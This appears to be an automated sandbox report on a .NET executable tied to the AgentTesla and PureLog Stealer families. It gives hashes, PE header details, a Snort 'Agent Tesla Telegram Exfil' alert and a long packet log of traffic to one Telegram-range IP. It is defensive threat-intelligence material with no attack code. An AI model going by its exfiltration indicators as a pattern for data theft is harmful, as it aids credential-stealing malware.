Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Key-n-Stroke.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://url2.mailanyone.net/scanner?m=1s7vXH-005dcm-3J&d=4%7Cmail%2F90%2F1715944200%2F1s7vXH-005dcm-3J%7Cin2c%7C57e1b682%7C17902772%7C12174482%7C66473BFB0D7825FF92FF08A4B666BA9C&o=gphta%2F%2Frt%3Anand.aincsgc%2Fmoc&s=nD0kMep_60PrJ_KcnO6ZFgNoENs	Get hash	malicious	Unknown	Browse	149.154.167.220
	IMG_579710265.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	ZTIBG_Order #U0637#U0644#U0628 ZTT Group 2024.5.17 pptx.scr.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	DsQnR4KKDbEYJq8.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	shipment invoice.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	file.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	file.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	EAP.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	HVC.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.0093351523926
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe
File size:	249'856 bytes
MD5:	1022eee3d28a81920664b590983aafaa
SHA1:	002c1889f8e8ebbf781e3a1edb0985068b2a5b96
SHA256:	ccd022fa7f9a0ee0928a7736faed2f9d9123234d209c7fdf9b436776669c4644
SHA512:	b2bc0d955f356596f939c0457c367fa79b192237e6a27591e02cf315076afab1908ed3093dda53bd2bcb7dfe20604779b72255e97c52c4c8487c8a50c40d6d4b
SSDEEP:	3072:DsUqShjy6yaCYHb+lDzVuXn9Phn755rh4xsnD:DsUqcy6yaCY7+lDzV4PhnTh4e
TLSH:	E8340F027E88EB15E5A83E3792EF6D2413B2B0C70633C60B6F49AF5528517825D7E72D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L... ..f................................. ........@.. .......................@............@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x43e52e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x661CD820 [Mon Apr 15 07:32:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3e4d8	0x53	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x40000	0x546	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x42000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x3c534	0x3c600	011624d87e0649a90b3b1bf2e00ef64b	False	0.35819827251552794	data	5.020453521983489	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x40000	0x546	0x600	13710f083c5f6d693011c99ff53d1b71	False	0.3971354166666667	data	3.993854391184784	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x42000	0xc	0x200	8275738e2c8d184d08335f3833a97f65	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x400a0	0x2bc	data			0.43714285714285717
RT_MANIFEST	0x4035c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/18/24-01:35:57.911306	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49730	443	192.168.2.4	149.154.167.220

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 18, 2024 01:35:56.266114950 CEST	49730	443	192.168.2.4	149.154.167.220
May 18, 2024 01:35:56.266156912 CEST	443	49730	149.154.167.220	192.168.2.4
May 18, 2024 01:35:56.266324043 CEST	49730	443	192.168.2.4	149.154.167.220
May 18, 2024 01:35:56.275564909 CEST	49730	443	192.168.2.4	149.154.167.220
May 18, 2024 01:35:56.275609016 CEST	443	49730	149.154.167.220	192.168.2.4
May 18, 2024 01:35:57.437931061 CEST	443	49730	149.154.167.220	192.168.2.4
May 18, 2024 01:35:57.438057899 CEST	49730	443	192.168.2.4	149.154.167.220
May 18, 2024 01:35:57.442511082 CEST	49730	443	192.168.2.4	149.154.167.220
May 18, 2024 01:35:57.442538977 CEST	443	49730	149.154.167.220	192.168.2.4
May 18, 2024 01:35:57.443062067 CEST	443	49730	149.154.167.220	192.168.2.4
May 18, 2024 01:35:57.488246918 CEST	49730	443	192.168.2.4	149.154.167.220
May 18, 2024 01:35:57.563107014 CEST	49730	443	192.168.2.4	149.154.167.220
May 18, 2024 01:35:57.608119965 CEST	443	49730	149.154.167.220	192.168.2.4
May 18, 2024 01:35:57.911007881 CEST	49730	443	192.168.2.4	149.154.167.220
May 18, 2024 01:35:57.911043882 CEST	443	49730	149.154.167.220	192.168.2.4
May 18, 2024 01:35:57.981451988 CEST	443	49730	149.154.167.220	192.168.2.4
May 18, 2024 01:35:58.035314083 CEST	49730	443	192.168.2.4	149.154.167.220
May 18, 2024 01:35:58.234256029 CEST	443	49730	149.154.167.220	192.168.2.4
May 18, 2024 01:35:58.239382029 CEST	443	49730	149.154.167.220	192.168.2.4
May 18, 2024 01:35:58.239483118 CEST	49730	443	192.168.2.4	149.154.167.220
May 18, 2024 01:35:58.243407011 CEST	49730	443	192.168.2.4	149.154.167.220
May 18, 2024 01:35:58.284511089 CEST	49731	443	192.168.2.4	149.154.167.220
May 18, 2024 01:35:58.284598112 CEST	443	49731	149.154.167.220	192.168.2.4
May 18, 2024 01:35:58.284692049 CEST	49731	443	192.168.2.4	149.154.167.220
May 18, 2024 01:35:58.284951925 CEST	49731	443	192.168.2.4	149.154.167.220
May 18, 2024 01:35:58.284991026 CEST	443	49731	149.154.167.220	192.168.2.4
May 18, 2024 01:35:59.386918068 CEST	443	49731	149.154.167.220	192.168.2.4
May 18, 2024 01:35:59.388540030 CEST	49731	443	192.168.2.4	149.154.167.220
May 18, 2024 01:35:59.388607025 CEST	443	49731	149.154.167.220	192.168.2.4
May 18, 2024 01:35:59.738347054 CEST	49731	443	192.168.2.4	149.154.167.220
May 18, 2024 01:35:59.738385916 CEST	443	49731	149.154.167.220	192.168.2.4
May 18, 2024 01:35:59.903084993 CEST	443	49731	149.154.167.220	192.168.2.4
May 18, 2024 01:35:59.956988096 CEST	49731	443	192.168.2.4	149.154.167.220
May 18, 2024 01:36:00.097383976 CEST	443	49731	149.154.167.220	192.168.2.4
May 18, 2024 01:36:00.098078966 CEST	49731	443	192.168.2.4	149.154.167.220
May 18, 2024 01:36:00.098280907 CEST	443	49731	149.154.167.220	192.168.2.4
May 18, 2024 01:36:00.098357916 CEST	49731	443	192.168.2.4	149.154.167.220
May 18, 2024 01:37:41.886121988 CEST	49739	443	192.168.2.4	149.154.167.220
May 18, 2024 01:37:41.886161089 CEST	443	49739	149.154.167.220	192.168.2.4
May 18, 2024 01:37:41.886223078 CEST	49739	443	192.168.2.4	149.154.167.220
May 18, 2024 01:37:41.886594057 CEST	49739	443	192.168.2.4	149.154.167.220
May 18, 2024 01:37:41.886615992 CEST	443	49739	149.154.167.220	192.168.2.4
May 18, 2024 01:37:42.993087053 CEST	443	49739	149.154.167.220	192.168.2.4
May 18, 2024 01:37:42.993165970 CEST	49739	443	192.168.2.4	149.154.167.220
May 18, 2024 01:37:42.994976997 CEST	49739	443	192.168.2.4	149.154.167.220
May 18, 2024 01:37:42.994983912 CEST	443	49739	149.154.167.220	192.168.2.4
May 18, 2024 01:37:42.995604992 CEST	443	49739	149.154.167.220	192.168.2.4
May 18, 2024 01:37:43.006150961 CEST	49739	443	192.168.2.4	149.154.167.220
May 18, 2024 01:37:43.048141956 CEST	443	49739	149.154.167.220	192.168.2.4
May 18, 2024 01:37:43.363490105 CEST	49739	443	192.168.2.4	149.154.167.220
May 18, 2024 01:37:43.363529921 CEST	443	49739	149.154.167.220	192.168.2.4
May 18, 2024 01:37:43.363600969 CEST	49739	443	192.168.2.4	149.154.167.220
May 18, 2024 01:37:43.363616943 CEST	443	49739	149.154.167.220	192.168.2.4
May 18, 2024 01:37:43.363869905 CEST	49739	443	192.168.2.4	149.154.167.220
May 18, 2024 01:37:43.364052057 CEST	443	49739	149.154.167.220	192.168.2.4
May 18, 2024 01:37:43.523284912 CEST	443	49739	149.154.167.220	192.168.2.4
May 18, 2024 01:37:43.660078049 CEST	49739	443	192.168.2.4	149.154.167.220
May 18, 2024 01:37:43.989321947 CEST	443	49739	149.154.167.220	192.168.2.4
May 18, 2024 01:37:43.989963055 CEST	49739	443	192.168.2.4	149.154.167.220
May 18, 2024 01:37:43.990250111 CEST	443	49739	149.154.167.220	192.168.2.4
May 18, 2024 01:37:43.990326881 CEST	49739	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:03.327594995 CEST	49740	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:03.327666044 CEST	443	49740	149.154.167.220	192.168.2.4
May 18, 2024 01:38:03.332549095 CEST	49740	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:03.332828045 CEST	49740	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:03.332859993 CEST	443	49740	149.154.167.220	192.168.2.4
May 18, 2024 01:38:04.447238922 CEST	443	49740	149.154.167.220	192.168.2.4
May 18, 2024 01:38:04.447329998 CEST	49740	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:04.449331045 CEST	49740	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:04.449358940 CEST	443	49740	149.154.167.220	192.168.2.4
May 18, 2024 01:38:04.450180054 CEST	443	49740	149.154.167.220	192.168.2.4
May 18, 2024 01:38:04.451714039 CEST	49740	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:04.496123075 CEST	443	49740	149.154.167.220	192.168.2.4
May 18, 2024 01:38:04.801506996 CEST	49740	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:04.801573038 CEST	443	49740	149.154.167.220	192.168.2.4
May 18, 2024 01:38:04.805557013 CEST	49740	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:04.805593967 CEST	443	49740	149.154.167.220	192.168.2.4
May 18, 2024 01:38:04.809521914 CEST	49740	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:04.809545040 CEST	443	49740	149.154.167.220	192.168.2.4
May 18, 2024 01:38:04.973138094 CEST	443	49740	149.154.167.220	192.168.2.4
May 18, 2024 01:38:05.021465063 CEST	49740	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:05.443814993 CEST	443	49740	149.154.167.220	192.168.2.4
May 18, 2024 01:38:05.448483944 CEST	443	49740	149.154.167.220	192.168.2.4
May 18, 2024 01:38:05.448762894 CEST	49740	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:05.449410915 CEST	49740	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:08.765634060 CEST	49741	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:08.765688896 CEST	443	49741	149.154.167.220	192.168.2.4
May 18, 2024 01:38:08.768255949 CEST	49741	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:08.772140980 CEST	49741	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:08.772176027 CEST	443	49741	149.154.167.220	192.168.2.4
May 18, 2024 01:38:09.594235897 CEST	49742	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:09.594266891 CEST	443	49742	149.154.167.220	192.168.2.4
May 18, 2024 01:38:09.594319105 CEST	49742	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:09.594635963 CEST	49742	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:09.594647884 CEST	443	49742	149.154.167.220	192.168.2.4
May 18, 2024 01:38:09.602449894 CEST	49741	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:09.648118973 CEST	443	49741	149.154.167.220	192.168.2.4
May 18, 2024 01:38:09.873923063 CEST	443	49741	149.154.167.220	192.168.2.4
May 18, 2024 01:38:09.874085903 CEST	443	49741	149.154.167.220	192.168.2.4
May 18, 2024 01:38:09.874119997 CEST	49741	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:09.874192953 CEST	49741	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:10.696079969 CEST	443	49742	149.154.167.220	192.168.2.4
May 18, 2024 01:38:10.696161985 CEST	49742	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:10.697762012 CEST	49742	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:10.697767973 CEST	443	49742	149.154.167.220	192.168.2.4
May 18, 2024 01:38:10.697985888 CEST	443	49742	149.154.167.220	192.168.2.4
May 18, 2024 01:38:10.701443911 CEST	49742	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:10.744157076 CEST	443	49742	149.154.167.220	192.168.2.4
May 18, 2024 01:38:11.050894976 CEST	49742	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:11.050934076 CEST	443	49742	149.154.167.220	192.168.2.4
May 18, 2024 01:38:11.051302910 CEST	49742	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:11.051328897 CEST	443	49742	149.154.167.220	192.168.2.4
May 18, 2024 01:38:11.051632881 CEST	49742	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:11.051651955 CEST	443	49742	149.154.167.220	192.168.2.4
May 18, 2024 01:38:11.214653969 CEST	443	49742	149.154.167.220	192.168.2.4
May 18, 2024 01:38:11.269464970 CEST	49742	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:11.680713892 CEST	443	49742	149.154.167.220	192.168.2.4
May 18, 2024 01:38:11.681246996 CEST	49742	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:11.681308031 CEST	443	49742	149.154.167.220	192.168.2.4
May 18, 2024 01:38:11.681355953 CEST	49742	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:14.276774883 CEST	49743	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:14.276874065 CEST	443	49743	149.154.167.220	192.168.2.4
May 18, 2024 01:38:14.276952028 CEST	49743	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:14.277420044 CEST	49743	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:14.277456999 CEST	443	49743	149.154.167.220	192.168.2.4
May 18, 2024 01:38:15.408919096 CEST	443	49743	149.154.167.220	192.168.2.4
May 18, 2024 01:38:15.409046888 CEST	49743	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:15.413459063 CEST	49743	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:15.413501978 CEST	443	49743	149.154.167.220	192.168.2.4
May 18, 2024 01:38:15.413889885 CEST	443	49743	149.154.167.220	192.168.2.4
May 18, 2024 01:38:15.417454958 CEST	49743	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:15.460177898 CEST	443	49743	149.154.167.220	192.168.2.4
May 18, 2024 01:38:15.769750118 CEST	49743	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:15.769825935 CEST	443	49743	149.154.167.220	192.168.2.4
May 18, 2024 01:38:15.769956112 CEST	49743	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:15.769989014 CEST	443	49743	149.154.167.220	192.168.2.4
May 18, 2024 01:38:15.770087004 CEST	49743	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:15.770128965 CEST	443	49743	149.154.167.220	192.168.2.4
May 18, 2024 01:38:15.934396982 CEST	443	49743	149.154.167.220	192.168.2.4
May 18, 2024 01:38:15.988194942 CEST	49743	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:16.398982048 CEST	443	49743	149.154.167.220	192.168.2.4
May 18, 2024 01:38:16.399588108 CEST	49743	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:16.399673939 CEST	443	49743	149.154.167.220	192.168.2.4
May 18, 2024 01:38:16.399739027 CEST	49743	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:21.571974039 CEST	49744	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:21.572073936 CEST	443	49744	149.154.167.220	192.168.2.4
May 18, 2024 01:38:21.577538013 CEST	49744	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:21.579458952 CEST	49744	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:21.579498053 CEST	443	49744	149.154.167.220	192.168.2.4
May 18, 2024 01:38:22.720604897 CEST	443	49744	149.154.167.220	192.168.2.4
May 18, 2024 01:38:22.720720053 CEST	49744	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:23.430300951 CEST	49744	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:23.430330038 CEST	443	49744	149.154.167.220	192.168.2.4
May 18, 2024 01:38:23.430779934 CEST	443	49744	149.154.167.220	192.168.2.4
May 18, 2024 01:38:23.432477951 CEST	49744	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:23.480132103 CEST	443	49744	149.154.167.220	192.168.2.4
May 18, 2024 01:38:23.744798899 CEST	443	49744	149.154.167.220	192.168.2.4
May 18, 2024 01:38:23.745163918 CEST	49744	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:23.745256901 CEST	443	49744	149.154.167.220	192.168.2.4
May 18, 2024 01:38:23.745388031 CEST	49744	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:23.745482922 CEST	443	49744	149.154.167.220	192.168.2.4
May 18, 2024 01:38:23.745623112 CEST	49744	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:23.745683908 CEST	443	49744	149.154.167.220	192.168.2.4
May 18, 2024 01:38:24.408597946 CEST	443	49744	149.154.167.220	192.168.2.4
May 18, 2024 01:38:24.409166098 CEST	49744	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:24.409229994 CEST	443	49744	149.154.167.220	192.168.2.4
May 18, 2024 01:38:24.409285069 CEST	49744	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:36.071331024 CEST	49745	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:36.071367025 CEST	443	49745	149.154.167.220	192.168.2.4
May 18, 2024 01:38:36.071439981 CEST	49745	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:36.071777105 CEST	49745	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:36.071789026 CEST	443	49745	149.154.167.220	192.168.2.4
May 18, 2024 01:38:37.184807062 CEST	443	49745	149.154.167.220	192.168.2.4
May 18, 2024 01:38:37.184884071 CEST	49745	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:37.186904907 CEST	49745	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:37.186913013 CEST	443	49745	149.154.167.220	192.168.2.4
May 18, 2024 01:38:37.187129021 CEST	443	49745	149.154.167.220	192.168.2.4
May 18, 2024 01:38:37.189433098 CEST	49745	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:37.236131907 CEST	443	49745	149.154.167.220	192.168.2.4
May 18, 2024 01:38:37.539403915 CEST	49745	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:37.539441109 CEST	443	49745	149.154.167.220	192.168.2.4
May 18, 2024 01:38:37.539604902 CEST	49745	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:37.539627075 CEST	443	49745	149.154.167.220	192.168.2.4
May 18, 2024 01:38:37.539753914 CEST	49745	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:37.539772987 CEST	443	49745	149.154.167.220	192.168.2.4
May 18, 2024 01:38:37.697925091 CEST	443	49745	149.154.167.220	192.168.2.4
May 18, 2024 01:38:37.738277912 CEST	49745	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:38.173115015 CEST	443	49745	149.154.167.220	192.168.2.4
May 18, 2024 01:38:38.173702002 CEST	49745	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:38.173831940 CEST	443	49745	149.154.167.220	192.168.2.4
May 18, 2024 01:38:38.174245119 CEST	443	49745	149.154.167.220	192.168.2.4
May 18, 2024 01:38:38.174258947 CEST	49745	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:38.174329042 CEST	49745	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:44.673496962 CEST	49746	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:44.673583031 CEST	443	49746	149.154.167.220	192.168.2.4
May 18, 2024 01:38:44.674066067 CEST	49746	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:44.677541018 CEST	49746	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:44.677615881 CEST	443	49746	149.154.167.220	192.168.2.4
May 18, 2024 01:38:45.804384947 CEST	443	49746	149.154.167.220	192.168.2.4
May 18, 2024 01:38:45.804491043 CEST	49746	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:45.806083918 CEST	49746	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:45.806117058 CEST	443	49746	149.154.167.220	192.168.2.4
May 18, 2024 01:38:45.806448936 CEST	443	49746	149.154.167.220	192.168.2.4
May 18, 2024 01:38:45.807766914 CEST	49746	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:45.848189116 CEST	443	49746	149.154.167.220	192.168.2.4
May 18, 2024 01:38:46.160444975 CEST	49746	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:46.160501003 CEST	443	49746	149.154.167.220	192.168.2.4
May 18, 2024 01:38:46.160758972 CEST	49746	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:46.160798073 CEST	443	49746	149.154.167.220	192.168.2.4
May 18, 2024 01:38:46.161078930 CEST	49746	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:46.161319971 CEST	443	49746	149.154.167.220	192.168.2.4
May 18, 2024 01:38:46.326735020 CEST	443	49746	149.154.167.220	192.168.2.4
May 18, 2024 01:38:46.378937006 CEST	49746	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:46.791660070 CEST	443	49746	149.154.167.220	192.168.2.4
May 18, 2024 01:38:46.793534040 CEST	49746	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:46.793662071 CEST	443	49746	149.154.167.220	192.168.2.4
May 18, 2024 01:38:46.793997049 CEST	49746	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:48.464720964 CEST	49747	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:48.464812040 CEST	443	49747	149.154.167.220	192.168.2.4
May 18, 2024 01:38:48.464899063 CEST	49747	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:48.465337038 CEST	49747	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:48.465367079 CEST	443	49747	149.154.167.220	192.168.2.4
May 18, 2024 01:38:49.547055006 CEST	443	49747	149.154.167.220	192.168.2.4
May 18, 2024 01:38:49.547207117 CEST	49747	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:49.549500942 CEST	49747	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:49.549554110 CEST	443	49747	149.154.167.220	192.168.2.4
May 18, 2024 01:38:49.549917936 CEST	443	49747	149.154.167.220	192.168.2.4
May 18, 2024 01:38:49.557539940 CEST	49747	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:49.604125023 CEST	443	49747	149.154.167.220	192.168.2.4
May 18, 2024 01:38:49.910444021 CEST	49747	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:49.910530090 CEST	443	49747	149.154.167.220	192.168.2.4
May 18, 2024 01:38:49.910826921 CEST	49747	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:49.910913944 CEST	443	49747	149.154.167.220	192.168.2.4
May 18, 2024 01:38:49.911259890 CEST	49747	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:49.911329985 CEST	443	49747	149.154.167.220	192.168.2.4
May 18, 2024 01:38:50.061837912 CEST	443	49747	149.154.167.220	192.168.2.4
May 18, 2024 01:38:50.113317966 CEST	49747	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:50.523686886 CEST	443	49747	149.154.167.220	192.168.2.4
May 18, 2024 01:38:50.524452925 CEST	49747	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:50.524566889 CEST	443	49747	149.154.167.220	192.168.2.4
May 18, 2024 01:38:50.524779081 CEST	49747	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:56.956126928 CEST	49748	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:56.956176043 CEST	443	49748	149.154.167.220	192.168.2.4
May 18, 2024 01:38:56.956365108 CEST	49748	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:56.959417105 CEST	49748	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:56.959434032 CEST	443	49748	149.154.167.220	192.168.2.4
May 18, 2024 01:38:58.066082954 CEST	443	49748	149.154.167.220	192.168.2.4
May 18, 2024 01:38:58.066143036 CEST	49748	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:58.068530083 CEST	49748	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:58.068540096 CEST	443	49748	149.154.167.220	192.168.2.4
